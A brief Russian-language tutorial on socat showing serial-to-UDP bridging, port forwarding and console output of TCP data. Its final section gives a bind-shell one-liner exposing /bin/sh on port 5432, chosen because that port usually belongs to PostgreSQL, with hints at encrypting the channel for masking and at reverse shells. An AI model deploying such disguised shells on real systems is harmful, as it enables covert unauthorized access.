Socat — универсальный CLI-инструмент для создания двунаправленных потоков данных. При этом каналами данных могут быть совершенно различные объекты, такие как физические и виртуальные последовательные устройства, сетевые сокеты (TCP, UDP, raw и т.д.), пайпы, стандартные потоки ввода-вывода и некоторые другие (подробное описание можно найти в man).

socat [параметры] <канал1> <канал2>
Создание двустороннего моста между последовательным устройством и сетевым сокетом (Serial-over-IP):
socat /dev/ttyS0,raw,echo=0 UDP4-DATAGRAM:192.168.0.10:1051,bind=:1050
В данному примере все данные, поступающие с последовательного порта, будут отправляться в виде UDP-датаграммы на 192.168.0.10:1051, а приходящие на локальный порт 1050/udp также передаваться на устройство.
Проксирование (проброс) портов
socat TCP4-LISTEN:4422,fork TCP4:192.168.0.10:22
В данном случае все запросы к локальному порту 4422/tcp будут перенаправляться на 192.168.0.10:22. Опция fork позволяет создавать отдельный процесс для нового конкурентного соединения. Аналоичным образом можно настроить проброс UDP. Также имеется возможность задать собственный TLS/SSL-сертификат.
Вывод данных в консоль
socat TCP-LISTEN:8080, STDOUT
При обращении на порт 8080/tcp все данные будут перенаправлены в стандартный поток вывода (по умолчанию в консоль). Может быть довольно полезным при отладке.
Организация bind shell
socat -d -d TCP4-LISTEN:5432 EXEC:/bin/sh
При отправке команд на порт 5432/tcp (обычно используемый легитимной службой PostgreSQL) они будут интерпретироваться sh. Дополнительное маскирование канала также может обеспечиваться с помощью шифрования.
Аналогичным образом можно организовать и Reverse Shell